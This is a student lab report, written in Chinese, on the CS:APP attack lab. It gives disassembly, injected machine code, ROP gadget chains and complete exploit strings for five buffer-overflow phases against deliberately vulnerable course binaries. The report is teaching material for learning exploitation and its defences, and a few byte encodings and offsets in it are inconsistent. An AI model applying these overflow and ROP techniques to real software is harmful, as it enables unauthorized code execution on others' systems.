北京郵電大學

实验报告

题目：缓冲区溢出

班　　级：2021211301

学　　号：2021210967

姓　　名：王心雨

学　　院：计算机学院

2022 年 11 月 15 日

一、实验目的

1. 理解 C 语言程序的函数调用机制，栈帧的结构。
2. 理解 x86-64 的栈和参数传递机制。
3. 初步掌握如何编写更加安全的程序，了解编译器和操作系统提供的防攻击手段。
3. 进一步理解 x86-64 机器指令及指令编码。

二、实验环境

1. Linux，Windows x86
2. Objdump 命令反汇编
3. GDB 调试工具
4. Vi 编辑器

三、实验内容

登录 bupt1 服务器，在 home 目录下可以找到一个 targetn.tar 文件，解压后得到如下文件：

README.txt；

ctarget；

rtarget；

cookie.txt；

farm.c；

hex2raw。

ctarget 和 rtarget 运行时从标准输入读入字符串，这两个程序都存在缓冲区溢出漏洞。通过代码注入的方法实现对 ctarget 程序的攻击，共有 3 关，输入一个特定字符串，可成功调用 touch1，或 touch2，或 touch3 就通关，并向计分服务器提交得分信息；通过 ROP 方法实现对 rtarget 程序的攻击，共有 2 关，在指定区域找到所需要的小工具，进行拼接完成指定功能，再输入一个特定字符串，实现成功调用 touch2 或 touch3 就通关，并向计分服务器提交得分信息；否则失败，但不扣分。因此，本实验需要通过反汇编和逆向工程对 ctraget 和 rtarget 执行文件进行分析，找到保存返回地址在堆栈中的位置以及所需要的小工具机器码。实验 2 的具体内容见实验 2 说明，尤其需要认真阅读各阶段的 Some Advice 提示。

本实验包含了 5 个阶段（或关卡），难度逐级递增。各阶段分数如下所示：

Phase	Program	Level	Method	Function	Points
1	CTARGET	1	CI	touch1	10
2	CTARGET	2	CI	touch2	25
3	CTARGET	3	CI	touch3	25
4	RTARGET	2	ROP	touch2	35
5	RTARGET	3	ROP	touch3	5

CI: Code injection

ROP: Return-oriented programming

四、实验步骤及实验分析

建议按照：准备工作、阶段 1、阶段 2、...等来组织内容

各阶段需要有操作步骤、运行截图、分析过程的内容

■ 准备工作

1. 使用 ssh 密钥登录 linux 系统，输入 ssh 2021210967@10.120.11.12；
2. 先输入 tar -xvf target33.tar 解压文件，打开 target33 文件，可以看到有不同的几个文件。我们逐个打开看一下：README.txt，里面介绍了此次实验用到的几个文件的具体内容。Ctarget 为 CI 代码注入文件，而 rtarget 为 ROP 文件；cookie 文件中可以得到 4 个字节的数字 0x15a0cf46；farm.c 需要反汇编去使用；

```
2021210967@bupt1:~$ ls
bomb33  bomb33.tar  bomb.c  main  main.c  main.d  target33.tar  :wq
2021210967@bupt1:~$ tar -xvf target33.tar
target33/README.txt
target33/ctarget
target33/rtarget
target33/farm.c
target33/cookie.txt
target33/hex2raw
2021210967@bupt1:~$ cd target33/
2021210967@bupt1:~/target33$ ls
cookie.txt  ctarget  farm.c  hex2raw  README.txt  rtarget
```

```
2021210967@bupt1:~/target33$ cat README.txt
This file contains materials for one instance of the attacklab.

Files:

    ctarget

Linux binary with code-injection vulnerability.  To be used for phases
1-3 of the assignment.

    rtarget

Linux binary with return-oriented programming vulnerability.  To be
used for phases 4-5 of the assignment.

     cookie.txt

Text file containing 4-byte signature required for this lab instance.

     farm.c

Source code for gadget farm present in this instance of rtarget.  You
can compile (use flag -Og) and disassemble it to look for gadgets.

     hex2raw

Utility program to generate byte sequences.  See documentation in lab
handout.
```

```
2021210967@bupt1:~/target33$ cat cookie.txt
0x15a0cf46
```

■ 阶段 1

1. 先对 ctarget 进行 gdb 编译，键入指令 gdb target；

```
2021210967@bupt1:~/target33$ gdb ctarget
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...
```

2. 根据 writeout 文档，我们可以先查看 test 函数的汇编代码；可知，实验的目的是我们需要通过缓冲区溢出更改 getbuf 函数栈帧中的数据，从而更改该函数在返回前的行为，使其调用 touch1 函数，根据函数的汇编代码可知，只要成功调用 touch1 函数即可；

```
(gdb) disas test
Dump of assembler code for function test:
   0x0000000000401a04 <+0>:     sub    $0x8,%rsp
   0x0000000000401a08 <+4>:     mov    $0x0,%eax
   0x0000000000401a0d <+9>:     callq  0x40182b <getbuf>
   0x0000000000401a12 <+14>:    mov    %eax,%edx
   0x0000000000401a14 <+16>:    mov    $0x403268,%esi
   0x0000000000401a19 <+21>:    mov    $0x1,%edi
   0x0000000000401a1e <+26>:    mov    $0x0,%eax
   0x0000000000401a23 <+31>:    callq  0x400e00 <__printf_chk@plt>
   0x0000000000401a28 <+36>:    add    $0x8,%rsp
   0x0000000000401a2c <+40>:    retq
End of assembler dump.
```

3. 查看 getbuf 的汇编代码；可知函数在内存中分配了 0x18 即 24 个字节的空间，在%rsp+0x28 的位置即在调用 getbuf 函数前存储的返回地址，可以修改这个返回地址从而调用 touch1 函数；

```
(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x000000000040182b <+0>:     sub    $0x18,%rsp
   0x000000000040182f <+4>:     mov    %rsp,%rdi
   0x0000000000401832 <+7>:     callq  0x401acd <Gets>
   0x0000000000401837 <+12>:    mov    $0x1,%eax
   0x000000000040183c <+17>:    add    $0x18,%rsp
   0x0000000000401840 <+21>:    retq
End of assembler dump.
```

4. 查看 touch1 函数的汇编代码，可知该函数的首地址为 0x401841；因此我们需要通过代码注入加入 touch1 函数的地址，使得 touch1 被调用；

```
(gdb) disas touch1
Dump of assembler code for function touch1:
   0x0000000000401841 <+0>:     sub    $0x8,%rsp
   0x0000000000401845 <+4>:     shr    $0x4,%rsp
   0x0000000000401849 <+8>:     shl    $0x4,%rsp
   0x000000000040184d <+12>:    movl   $0x1,0x202cc5(%rip)        # 0x60451c <vlevel>
   0x0000000000401857 <+22>:    mov    $0x4031a0,%edi
   0x000000000040185c <+27>:    callq  0x400cd0 <puts@plt>
   0x0000000000401861 <+32>:    mov    $0x1,%edi
   0x0000000000401866 <+37>:    callq  0x401d12 <validate>
   0x000000000040186b <+42>:    mov    $0x0,%edi
   0x0000000000401870 <+47>:    callq  0x400e50 <exit@plt>
End of assembler dump.
(gdb) quit
```

5. 首先在前 0x18（前 24 个字节）填充无效字符 00，之后用 touch1 地址填充剩余字节；由于系统采用小端法，因此低有效位在前；最终将答案 1 输入 answer1 文件，键入“./hex2raw <answer1 | ./ctarget”来对汇编代码发动攻击；NICE JOB!

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
41 18 40 00 00 00 00 00
```

```
2021210967@bupt1:~/target33$ vi answer1
2021210967@bupt1:~/target33$ 2021210967@bupt1:~/target33$ cat answer1
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
41 18 40 00
2021210967@bupt1:~/target33$ ./hex2raw <answer1 | ./ctarget
Cookie: 0x15a0cf46
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2021210967@bupt1:~/target33$
```

■ 阶段 2

1. 如同阶段 1，我们先查看 touch2 的汇编代码，由红色框线内的指令可知，我们需要输入与 cookie 地址值相同的参数，才能成功调用 touch2 函数；

```
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x0000000000401875 <+0>:     sub    $0x8,%rsp
   0x0000000000401879 <+4>:     mov    %edi,%edx
   0x000000000040187b <+6>:     shr    $0x4,%rsp
   0x000000000040187f <+10>:    shl    $0x4,%rsp
   0x0000000000401883 <+14>:    movl   $0x2,0x202c8f(%rip)        # 0x60451c <vlevel>
   0x000000000040188d <+24>:    cmp    %edi,0x202c91(%rip)        # 0x604524 <cookie>
   0x0000000000401893 <+30>:    jne    0x4018b5 <touch2+64>
   0x0000000000401895 <+32>:    mov    $0x4031c8,%esi
   0x000000000040189a <+37>:    mov    $0x1,%edi
   0x000000000040189f <+42>:    mov    $0x0,%eax
   0x00000000004018a4 <+47>:    callq  0x400e00 <__printf_chk@plt>
   0x00000000004018a9 <+52>:    mov    $0x2,%edi
   0x00000000004018ae <+57>:    callq  0x401d12 <validate>
   0x00000000004018b3 <+62>:    jmp    0x4018d3 <touch2+94>
   0x00000000004018b5 <+64>:    mov    $0x4031f0,%esi
   0x00000000004018ba <+69>:    mov    $0x1,%edi
   0x00000000004018bf <+74>:    mov    $0x0,%eax
   0x00000000004018c4 <+79>:    callq  0x400e00 <__printf_chk@plt>
   0x00000000004018c9 <+84>:    mov    $0x2,%edi
   0x00000000004018ce <+89>:    callq  0x401dd4 <fail>
   0x00000000004018d3 <+94>:    mov    $0x0,%edi
   0x00000000004018d8 <+99>:    callq  0x400e50 <exit@plt>
End of assembler dump.
```

2. 通过查看 touch2 的汇编代码，我们可以得到 touch2 的首地址为 0x401875；所以我们需要先传入与 cookie 值相同的函数，并保证判等后跳转到 touch2 的首地址；所以此关我们需要注入三条指令：①把 cookie 值放入%rdi 中；②将 touch2 的首地址压栈；③函数返回值调用 touch2 函数；
3. 写出汇编指令为：mov $0x15a0cf46,%rdi　　pushq $0x401875　　ret
4. 退出 gdb 编译器，使用 gcc 编译器生成一个目标文件，再反汇编得到汇编指令的机器码指令；

```
mov $0x15a0cf46,%rdi
pushq $0x401875
ret
~
```

5. 机器码指令为

   48 c7 c7 46 cf a0 15

   00 75 18 40 00

   c3（丢了一张图，用文字代替吧呜呜）
6. 再进入 gdb 编译器，查找调用 getbuf 函数时栈顶的地址，可得到为 0x5567e068；

```
(gdb) b getbuf
Breakpoint 1 at 0x40182b: file buf.c, line 12.
(gdb) r -q
Starting program: /students/2021210967/target33/ctarget -q
Cookie: 0x15a0cf46

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x000000000040182b <+0>:     sub    $0x18,%rsp
   0x000000000040182f <+4>:     mov    %rsp,%rdi
   0x0000000000401832 <+7>:     callq  0x401acd <Gets>
   0x0000000000401837 <+12>:    mov    $0x1,%eax
   0x000000000040183c <+17>:    add    $0x18,%rsp
   0x0000000000401840 <+21>:    retq
End of assembler dump.
(gdb) stepi
14      in buf.c
(gdb) p /x $rsp
$1 = 0x5567e068
(gdb)
```

7. 答案的前 24 个字节为注入代码指令的机器码，无效位可用 00 代替；从第 25 个字节开始，以小端方式填入栈顶指针的地址，这样在 getbuf 函数返回时会跳转到栈顶位置的指令并执行；将最终答案写入文件 answer2；NICE JOB!

```
2021210967@bupt1:~/target33$ cat answer2
48 c7 c7 46 cf a0 15 68
75 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
68 e0 67 55 00 00 00 00
2021210967@bupt1:~/target33$ ./hexraw <answer2 | ./ctarget
-bash: ./hexraw: No such file or directory
Cookie: 0x15a0cf46
Type string:No exploit.  Getbuf returned 0x1
Normal return
2021210967@bupt1:~/target33$ ./hex2raw <answer2 | ./ctarget
Cookie: 0x15a0cf46
Type string:Touch2!: You called touch2(0x15a0cf46)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2021210967@bupt1:~/target33$
```

■ 阶段 3

1. 与前两关相同，查看 touch3 函数的汇编代码；可以看到 touch3 函数中调用了新的函数 hexmatch；根据说明，根据说明，阶段 3 需要将 cookie 的 ANSCII 码以字符串的形式传入，函数的第一个参数字符串的地址保存在函数的第一个参数中；但是 cookie 的位置需要注意，如果存到 getbuf 中，接下来在执行 hexmatch 函数时会覆盖它的堆栈，可能会抹掉我们写入的数据；但是 getbuf 的父栈是安全的，所以我们可以把 touch3 的地址放到父堆栈的顶部；先记录 touch3 函数的首地址位 0x40198e；

```
(gdb) disas touch3
Dump of assembler code for function touch3:
   0x000000000040198e <+0>:     push   %rbx
   0x000000000040198f <+1>:     mov    %rdi,%rbx
   0x0000000000401992 <+4>:     shr    $0x4,%rsp
   0x0000000000401996 <+8>:     shl    $0x4,%rsp
   0x000000000040199a <+12>:    movl   $0x3,0x202b78(%rip)        # 0x60451c <vlevel>
   0x00000000004019a4 <+22>:    mov    %rdi,%rsi
   0x00000000004019a7 <+25>:    mov    0x202b77(%rip),%edi        # 0x604524 <cookie>
   0x00000000004019ad <+31>:    callq  0x4018dd <hexmatch>
   0x00000000004019b2 <+36>:    test   %eax,%eax
   0x00000000004019b4 <+38>:    je     0x4019d9 <touch3+75>
   0x00000000004019b6 <+40>:    mov    %rbx,%rdx
   0x00000000004019b9 <+43>:    mov    $0x403218,%esi
   0x00000000004019be <+48>:    mov    $0x1,%edi
   0x00000000004019c3 <+53>:    mov    $0x0,%eax
   0x00000000004019c8 <+58>:    callq  0x400e00 <__printf_chk@plt>
   0x00000000004019cd <+63>:    mov    $0x3,%edi
   0x00000000004019d2 <+68>:    callq  0x401d12 <validate>
   0x00000000004019d7 <+73>:    jmp    0x4019fa <touch3+108>
   0x00000000004019d9 <+75>:    mov    %rbx,%rdx
   0x00000000004019dc <+78>:    mov    $0x403240,%esi
   0x00000000004019e1 <+83>:    mov    $0x1,%edi
   0x00000000004019e6 <+88>:    mov    $0x0,%eax
   0x00000000004019eb <+93>:    callq  0x400e00 <__printf_chk@plt>
   0x00000000004019f0 <+98>:    mov    $0x3,%edi
   0x00000000004019f5 <+103>:   callq  0x401dd4 <fail>
(gdb)
   0x00000000004019ff <+113>:   callq  0x400e50 <exit@plt>
End of assembler dump.
(gdb)
```

2. Cookie 的 ANSCII 码的转化为：

   1 5 a 0 c f 4 6

   31 35 61 30 63 66 34 36

3. 根据 1 中的推断，父堆栈的开头为栈顶地址加上 0x18（栈的大小）加上 0x8（返回地址的大小）；即 0x5567e068+0x24=0x5567e088；因此阶段 3 需要注入的代码汇编指令如下，将其利用 gcc 编译器 answer.s 进行汇编编译成 answer.o；

   mov $0x5567e088,%rdi

   pushq 0x40198e

   ret

```
mov $0x5567e088,%rdi
pushq $0x40198e
ret
```

```
2021210967@bupt1:~/target33$ vi answer3.s
2021210967@bupt1:~/target33$ gcc -c answer3.s
2021210967@bupt1:~/target33$ objdump -d answer3.o

answer3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 88 e0 67 55    mov    $0x5567e088,%rdi
   7:   ff 34 25 8e 19 40 00    pushq  0x40198e
   e:   c3                      retq
2021210967@bupt1:~/target33$
```

4. 因此我们可以直接写出答案，如同前两个阶段，答案前 24 个字节是攻击指令的机器码；从第 25 个字节开始以小端模式写入栈顶指针；从 33 个字节开始填入 cookie 的 ANSCII 码群；NICE JOB!

```
2021210967@bupt1:~/target33$ cat answer3
48 c7 c7 88 e0 67 55 68
8e 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
68 e0 67 55 00 00 00 00
31 35 61 30 63 66 34 36
```

■ 阶段 4

1. 阶段 4 还需要调用 touch2 函数，但是与前三个阶段不同的是，rtarget 采用了“栈随机化”和“栈只读”两种安全措施防止代码注入攻击；因此我们只能使用 ROP 攻击，利用函数本身的 gadget 进行代码拼凑来攻击;相当于换种方法将阶段 2 再实现一遍;①把 cookie 值放入%rdi 中;②将 touch2 的首地址压栈；③函数返回值调用 touch2 函数；
2. 可知汇编指令如下；机器码随后；我们需要再 gadget 中寻找与其功能契合的代码片段；

```
mov $0x15a0cf46,%rdi
pushq $0x401875
ret
```

49 c7 c7 46 cf a0 15
01 75 18 40 00
c3
可找到的可用的 gadget 如下：

```
0000000000401a5c <setval_140>:
  401a5c:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  401a62:       c3                      retq
```

```
0000000000401a3a <addval_461>:
  401a3a:       8d 87 58 c3 b6 70       lea    0x70b6c358(%rdi),%eax
  401a40:       c3                      retq
```

3. 同 3 中，找到了可用的 gadget，我们开始写答案；前 24 个字节用无效位 00 补充，接下来四行分别写 gadge1、cookie 值、gadget2 和 touch2 的首地址；使用 rtarget 攻击代码，成功；NICE JOB!

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
3c 1a 40 00 00 00 00 00
46 cf a0 15 00 00 00 00
5e 1a 40 00 00 00 00 00
75 18 40 00 00 00 00 00
```

```
2021210967@bupt1:~/target33$ 2021210967@bupt1:~/target33$ vi answer4
2021210967@bupt1:~/target33$ ./hex2raw <answer4 | ./rtarget
Cookie: 0x15a0cf46
Type string:Touch2!: You called touch2(0x15a0cf46)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2021210967@bupt1:~/target33$
```

■ 阶段 5

1. 同阶段 4，我们需要利用 ROP 的方法攻击阶段 3 的函数，完成阶段 3 调用 touch3 的任务；
2. 我们的任务还是去利用 gadget，拼凑成阶段 3 的汇编代码发动攻击；我们需要将 cookie 支付穿的值存储到栈，但因为栈顶指针位置不确定，所以我们不能够直接获取 cookie 的位置，所以我们采用获取初始栈顶的值，再加上一个常数偏置；
3. 因此我们可以总结出如下指令：

0x401ade: movq %rsp,%rax

0x401a5e: movq %rax,%rdi

0x401a4e: popq %rax

0x401a8a: movl %eax,%edx

0x401ae4: movl %edx,%ecx

0x401a70: movl %ecx,%esi

0x401a5e: lea (%rdi,%rsi,1),%rax

对应汇编指令，找指令相同的机器码；并标明了不同 gadget 对应的地址；

```
0000000000401adc <getval_409>:
  401adc:       b8 b1 48 89 e0          mov    $0xe08948b1,%eax
  401ae1:       c3                      retq
```

```
0000000000401a5c <setval_140>:
  401a5c:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  401a62:       c3                      retq
```

```
0000000000401a48 <setval_410>:
  401a48:       c7 07 6e 21 bd 58       movl   $0x58bd216e,(%rdi)
  401a4e:       c3                      retq
```

```
0000000000401a89 <getval_364>:
  401a89:       b8 89 c2 38 db          mov    $0xdb38c289,%eax
  401a8e:       c3                      retq
```

```
0000000000401ae2 <addval_100>:
  401ae2:       8d 87 89 d1 08 c9       lea    -0x36f72e77(%rdi),%eax
  401ae8:       c3                      retq
```

```
0000000000401af0 <addval_255>:
  401af0:       8d 87 89 ce 20 c9       lea    -0x36df3177(%rdi),%eax
  401af6:       c3                      retq
```

```
0000000000401a70 <add_xy>:
  401a70:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401a74:       c3                      retq
```

```
0000000000401a5c <setval_140>:
  401a5c:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  401a62:       c3                      retq
```

4. 我们开始写答案；前 24 个字节仍用无效位填充；接下来
三行写前三个 gadget 的小端模式机器码；第七行写 cookie 的偏移量为 8×6=48；接下来五行写剩余几个 gadget；touch3 的首地址以及 cookie 的 ANSCII 码。NICE JOB!

```
2021210967@bupt1:~/target33$ 2021210967@bupt1:~/target33$ ./hex2raw <answer5 | ./rtarget
Cookie: 0x15a0cf46
Type string:Touch3!: You called touch3("15a0cf46")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2021210967@bupt1:~/target33$ cat answer5
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
de 1a 40 00 00 00 00 00
5e 1a 40 00 00 00 00 00
4d 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
8a 1a 40 00 00 00 00 00
e4 1a 40 00 00 00 00 00
f2 1a 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
5e 1a 40 00 00 00 00 00
8e 19 40 00 00 00 00 00
31 35 61 30 63 66 34 36
```

五、总结体会

总结心得（包括实验过程中遇到的问题、如何解决的、过关或挫败的感受、实验投入的时间和精力、意见和建议等）

遇到的问题：

本次实验遇到的最大的问题是 ROP 实验的理解，以及最终机器码的组成，如何发动攻击，如何利用机器码代表需要实现的指令，好在看了很多的原理解释和上课的 some advice，可以慢慢的理解；其他问题存在于 rtarget 实验中寻找 gadget 的过程；拼凑出来指令实现调用对应函数是容易的，但是在 farm 中寻找的时候，会有很多相同的，但是并不是每一个都能用；对于实验四还好，一开始就找到了需要用到的指令；但是在实验五中，有几个指令的机器码都含有相同的指令片段，所以选哪一个比较困难；通过查阅资料和询问同学,最终知道了选择机器码的时候必须保证片段后的机器码我们都认识;【利用 writeout 中的指令表格】，如果我们不知道指令的具体执行内容，就不能用，最后成功解决了这样的问题。

当然，还有其他各种各样的小问题，比如一些基础操作；例如实验 2 中应用 gdb 编译器去打断点、run 寻找栈顶指针；开始时对栈帧的结构还很模糊，弄不清操作等等。Writeout 中的提示给了很大的帮助；

实验总结：做了这个实验，又一次感觉 csapp 实验的有趣性；本次实验主要利用缓冲区溢出实施攻击，也考察了各种的机器指令的理解，以及栈帧在调用函数中的操作知识。通过这次实验，我们对函数调用与返回的机制进行了深入的理解。关卡三中通过改变栈顶指针来保护 cookie 字符串；关卡五中通过设置偏移量来实现的思路，都值得我深入理解以及记忆学习，本次实验收获颇多，期待下一次实验！（下一次一定不要丢图了呜呜呜）